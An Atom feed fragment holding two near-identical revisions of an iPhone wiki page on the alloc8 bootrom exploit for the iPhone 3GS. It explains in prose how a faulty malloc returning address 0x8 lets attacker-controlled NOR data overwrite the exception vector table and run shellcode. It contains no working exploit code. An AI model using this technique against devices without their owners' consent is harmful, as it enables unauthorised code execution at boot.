		<summary type="html">&lt;p&gt;WikiEditor01: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{lowercase}}&lt;br /&gt;
The '''alloc8 exploit''' is the [[bootrom]] exploit used to run unsigned code (and thereby jailbreak) the [[N88AP|iPhone 3GS]]. It is the first public untethered bootrom exploit for the '''new bootrom''' [[N88AP|iPhone 3GS]], and was first used in the [[ipwndfu]] tool by '''axi0mX''', making '''untethered''' downgrades possible on the aforementioned device. It is the final publicly disclosed bootrom exploit of any device, and is partially based on [[User:Geohot|geohot]]'s [[limera1n exploit]].&lt;br /&gt;
&lt;br /&gt;
'''axi0mX''' himself has produced a detailed analysis of this exploit, originally found at https://github.com/axi0mX/alloc8.&lt;br /&gt;
&lt;br /&gt;
==Vulnerability==&lt;br /&gt;
&lt;br /&gt;
This is not a typical heap bug. This is a bug in implementation of the heap itself.&lt;br /&gt;
&lt;br /&gt;
void *malloc(size_t size);&lt;br /&gt;
&lt;br /&gt;
In C programming language, function malloc should return NULL if it is unable to allocate memory of the requested size. Caller should check if returned pointer is NULL and handle the error:&lt;br /&gt;
&lt;br /&gt;
void *pointer = malloc(size);&lt;br /&gt;
&lt;br /&gt;
if (pointer == NULL) {&lt;br /&gt;
	// handle error&lt;br /&gt;
} else {&lt;br /&gt;
	// pointer is valid, continue&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
In S5L8920 bootrom (and some very old versions of iBoot) function malloc is not implemented correctly. When it is unable to allocate memory, instead of NULL it returns a pointer to memory address 0x8. Callers check if returned pointer is NULL and then treat that pointer as valid.&lt;br /&gt;
&lt;br /&gt;
==Exploitation==&lt;br /&gt;
&lt;br /&gt;
First, we must be able to allocate enough data on the heap to make it run out of memory. Apple seems to have done a good job in reducing the attack surface of the bootrom, and it is far from certain that this can be achieved.&lt;br /&gt;
&lt;br /&gt;
There seems to be only a single way to fill up the heap during a normal boot. If we add additional IMG3 images to NOR, bootrom will parse all of them and allocate a 44-byte structure on the heap for each image. However, only the first image, LLB, needs to be parsed, because bootrom never uses any other image from NOR. Although this is not a vulnerability by itself, Apple changed this behavior later, in S5L8930 bootrom, and it no longer seems to be possible to fill up the heap in bootrom during normal boot.&lt;br /&gt;
&lt;br /&gt;
Second, once the heap is full, we must be able to use the pointer(s) to memory address 0x8 for reading or writing in a way that gets us arbitrary code execution before any panic or fatal memory corruption occurs.&lt;br /&gt;
&lt;br /&gt;
On ARMv7 processors, the exception vector table is located at memory address 0x0. The exception vector table contains critical instructions and data used for handling exceptions. Corrupting this exception vector table is a technique commonly used for exploits on ARMv7 processors. &lt;br /&gt;
&lt;br /&gt;
Although the exception vector table in bootrom comes from read-only memory, the exception vector table data is cached in L1 data cache, and it is possible to change behavior of the exception vector table by overwriting this data. Overwriting instructions has no effect, because instructions are cached separately in L1 instruction cache, and writes to memory are cached in L1 data cache, not L1 instruction cache.&lt;br /&gt;
&lt;br /&gt;
This data contains pointers to exception handlers used by bootrom, and changing any of these pointers to address of our shellcode makes the processor jump to our shellcode when that exception occurs.&lt;br /&gt;
&lt;br /&gt;
When bootrom is parsing IMG3 images from NOR, it reads 4096 bytes of data from NOR at a time into a temporary buffer. When there is a large number of IMG3 images in NOR, this temporary buffer is the first one which cannot be allocated on the heap, and it gets allocated at memory address 0x8. At that point, 4096 bytes of data from NOR, which we have full control over, gets copied to memory starting at memory address 0x8.&lt;br /&gt;
&lt;br /&gt;
This gives us the ability to write arbitrary data over data in the exception vector table and additional data which is located after it. We will flash a copy of 4096 bytes of data from bootrom to NOR and override the pointer to data abort exception handler, effectively using this primitive to override 4 bytes in the exception vector table in memory and keep everything else the same.&lt;br /&gt;
&lt;br /&gt;
Once reading from NOR is complete, bootrom attempts to free the temporary buffer at memory address 0x8. 8 bytes located immediately before allocated memory are used for heap metadata, but for this bad pointer the metadata is invalid. This leads to a bad memory access in function free, which triggers a data abort exception and the processor jumps to our shellcode.&lt;br /&gt;
&lt;br /&gt;
==Shellcode==&lt;br /&gt;
&lt;br /&gt;
First 52 bytes of NOR contain an IMG2 header with NOR metadata that should not be changed. Before bootrom starts parsing images in NOR, the first 512 bytes of NOR are copied to memory allocated on the heap, but only 52 bytes are actually used. The remaining 460 bytes are unused and can be safely used for shellcode. Memory address where this data gets allocated is always the same.&lt;br /&gt;
&lt;br /&gt;
==Post Exploitation==&lt;br /&gt;
&lt;br /&gt;
To clean up, shellcode returns from exception, sets a new stack top, restores the original pointer for data abort handler, and frees 44-byte structures which are occupying most of the heap, leaving only the one required for normal boot, LLB.&lt;br /&gt;
&lt;br /&gt;
At this point, shellcode can continue booting an unsigned LLB image from NOR or go to pwned DFU Mode and boot an unsigned image sent over USB.&lt;br /&gt;
&lt;br /&gt;
[[Category:Exploits]]&lt;br /&gt;
[[Category:Bootrom Exploits]]&lt;/div&gt;</summary>
		<author><name>WikiEditor01</name></author>
		
	</entry>
	<entry>
		<id>https://www.theiphonewiki.com/w/index.php?title=Alloc8_Exploit&amp;diff=57015</id>
		<title>Alloc8 Exploit</title>
		<link rel="alternate" type="text/html" href="https://www.theiphonewiki.com/w/index.php?title=Alloc8_Exploit&amp;diff=57015"/>
		<updated>2017-04-11T22:36:08Z</updated>

		<summary type="html">&lt;p&gt;WikiEditor01: Created page with &amp;quot;{{lowercase}} The '''alloc8 exploit''' is the bootrom exploit used to run unsigned code (and thereby jailbreak) the iPhone 3GS. It is the first public untethered...&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{lowercase}}&lt;br /&gt;
The '''alloc8 exploit''' is the [[bootrom]] exploit used to run unsigned code (and thereby jailbreak) the [[N88AP|iPhone 3GS]]. It is the first public untethered bootrom exploit for the '''new bootrom''' [[N88AP|iPhone 3GS]], and was first used in the [[ipwndfu]] tool by '''axi0mX''', making '''untethered''' downgrades possible on the aforementioned device. It is the final publicly disclosed bootrom exploit of any device.&lt;br /&gt;
&lt;br /&gt;
'''axi0mX''' himself has produced a detailed analysis of this exploit, originally found at https://github.com/axi0mX/alloc8.&lt;br /&gt;
&lt;br /&gt;
==Vulnerability==&lt;br /&gt;
&lt;br /&gt;
This is not a typical heap bug. This is a bug in implementation of the heap itself.&lt;br /&gt;
&lt;br /&gt;
void *malloc(size_t size);&lt;br /&gt;
&lt;br /&gt;
In C programming language, function malloc should return NULL if it is unable to allocate memory of the requested size. Caller should check if returned pointer is NULL and handle the error:&lt;br /&gt;
&lt;br /&gt;
void *pointer = malloc(size);&lt;br /&gt;
&lt;br /&gt;
if (pointer == NULL) {&lt;br /&gt;
	// handle error&lt;br /&gt;
} else {&lt;br /&gt;
	// pointer is valid, continue&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
In S5L8920 bootrom (and some very old versions of iBoot) function malloc is not implemented correctly. When it is unable to allocate memory, instead of NULL it returns a pointer to memory address 0x8. Callers check if returned pointer is NULL and then treat that pointer as valid.&lt;br /&gt;
&lt;br /&gt;
==Exploitation==&lt;br /&gt;
&lt;br /&gt;
First, we must be able to allocate enough data on the heap to make it run out of memory. Apple seems to have done a good job in reducing the attack surface of the bootrom, and it is far from certain that this can be achieved.&lt;br /&gt;
&lt;br /&gt;
There seems to be only a single way to fill up the heap during a normal boot. If we add additional IMG3 images to NOR, bootrom will parse all of them and allocate a 44-byte structure on the heap for each image. However, only the first image, LLB, needs to be parsed, because bootrom never uses any other image from NOR. Although this is not a vulnerability by itself, Apple changed this behavior later, in S5L8930 bootrom, and it no longer seems to be possible to fill up the heap in bootrom during normal boot.&lt;br /&gt;
&lt;br /&gt;
Second, once the heap is full, we must be able to use the pointer(s) to memory address 0x8 for reading or writing in a way that gets us arbitrary code execution before any panic or fatal memory corruption occurs.&lt;br /&gt;
&lt;br /&gt;
On ARMv7 processors, the exception vector table is located at memory address 0x0. The exception vector table contains critical instructions and data used for handling exceptions. Corrupting this exception vector table is a technique commonly used for exploits on ARMv7 processors. &lt;br /&gt;
&lt;br /&gt;
Although the exception vector table in bootrom comes from read-only memory, the exception vector table data is cached in L1 data cache, and it is possible to change behavior of the exception vector table by overwriting this data. Overwriting instructions has no effect, because instructions are cached separately in L1 instruction cache, and writes to memory are cached in L1 data cache, not L1 instruction cache.&lt;br /&gt;
&lt;br /&gt;
This data contains pointers to exception handlers used by bootrom, and changing any of these pointers to address of our shellcode makes the processor jump to our shellcode when that exception occurs.&lt;br /&gt;
&lt;br /&gt;
When bootrom is parsing IMG3 images from NOR, it reads 4096 bytes of data from NOR at a time into a temporary buffer. When there is a large number of IMG3 images in NOR, this temporary buffer is the first one which cannot be allocated on the heap, and it gets allocated at memory address 0x8. At that point, 4096 bytes of data from NOR, which we have full control over, gets copied to memory starting at memory address 0x8.&lt;br /&gt;
&lt;br /&gt;
This gives us the ability to write arbitrary data over data in the exception vector table and additional data which is located after it. We will flash a copy of 4096 bytes of data from bootrom to NOR and override the pointer to data abort exception handler, effectively using this primitive to override 4 bytes in the exception vector table in memory and keep everything else the same.&lt;br /&gt;
&lt;br /&gt;
Once reading from NOR is complete, bootrom attempts to free the temporary buffer at memory address 0x8. 8 bytes located immediately before allocated memory are used for heap metadata, but for this bad pointer the metadata is invalid. This leads to a bad memory access in function free, which triggers a data abort exception and the processor jumps to our shellcode.&lt;br /&gt;
&lt;br /&gt;
==Shellcode==&lt;br /&gt;
&lt;br /&gt;
First 52 bytes of NOR contain an IMG2 header with NOR metadata that should not be changed. Before bootrom starts parsing images in NOR, the first 512 bytes of NOR are copied to memory allocated on the heap, but only 52 bytes are actually used. The remaining 460 bytes are unused and can be safely used for shellcode. Memory address where this data gets allocated is always the same.&lt;br /&gt;
&lt;br /&gt;
==Post Exploitation==&lt;br /&gt;
&lt;br /&gt;
To clean up, shellcode returns from exception, sets a new stack top, restores the original pointer for data abort handler, and frees 44-byte structures which are occupying most of the heap, leaving only the one required for normal boot, LLB.&lt;br /&gt;
&lt;br /&gt;
At this point, shellcode can continue booting an unsigned LLB image from NOR or go to pwned DFU Mode and boot an unsigned image sent over USB.&lt;br /&gt;
&lt;br /&gt;
[[Category:Exploits]]&lt;br /&gt;
[[Category:Bootrom Exploits]]&lt;/div&gt;</summary>
		<author><name>WikiEditor01</name></author>
		
	</entry>
</feed>